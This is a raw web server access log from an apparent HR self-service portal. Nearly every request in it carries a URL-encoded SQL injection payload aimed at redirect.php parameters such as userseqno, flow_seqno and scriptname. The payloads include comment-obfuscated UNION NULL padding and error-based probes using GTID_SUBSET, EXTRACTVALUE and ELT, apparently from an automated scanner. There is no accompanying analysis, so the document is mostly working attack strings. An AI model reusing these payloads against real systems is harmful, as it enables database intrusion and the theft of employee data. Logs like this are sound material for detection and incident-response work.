100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x75347677%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71547633%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FbEks%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4a754979%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x716f5551%29%2C6420%29--%2F%2A%2A%2FROEw HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4a754979%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x716f5551%29%2C6420%29--%2F%2A%2A%2FROEw HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x31323869%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644f3438%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FccXv%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x31323869%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644f3438%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FccXv%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x596d5353%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66485649%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x596d5353%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66485649%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b534b48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70395a67%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fik68%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b534b48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70395a67%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fik68%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x366f3361%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52355245%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNdNs%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x366f3361%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52355245%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNdNs%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f394d33%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674f4f72%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f394d33%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674f4f72%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x596d5353%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66485649%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x58366544%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c6d7350%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNNVJ%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x58366544%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c6d7350%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNNVJ%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x706b7230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32706855%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3E1Q%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x706b7230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32706855%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3E1Q%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4239666d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3831344a%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FWcSz%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4239666d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3831344a%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FWcSz%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x44705a79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73686b75%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fw9b6%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x44705a79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73686b75%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fw9b6%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x39433067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64726b4c%29%2C6420%29--%2F%2A%2A%2FPHOR HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x39433067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64726b4c%29%2C6420%29--%2F%2A%2A%2FPHOR HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b614244%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39445167%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FpvI9%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b614244%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39445167%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FpvI9%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x356a5067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39784a6d%29%29--%2F%2A%2A%2FkxZk HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x356a5067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39784a6d%29%29--%2F%2A%2A%2FkxZk HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x706b7230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32706855%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3E1Q%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x57794a6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50497555%29%29--%2F%2A%2A%2FS5po HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x57794a6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50497555%29%29--%2F%2A%2A%2FS5po HTTP/1.1" 200 5915
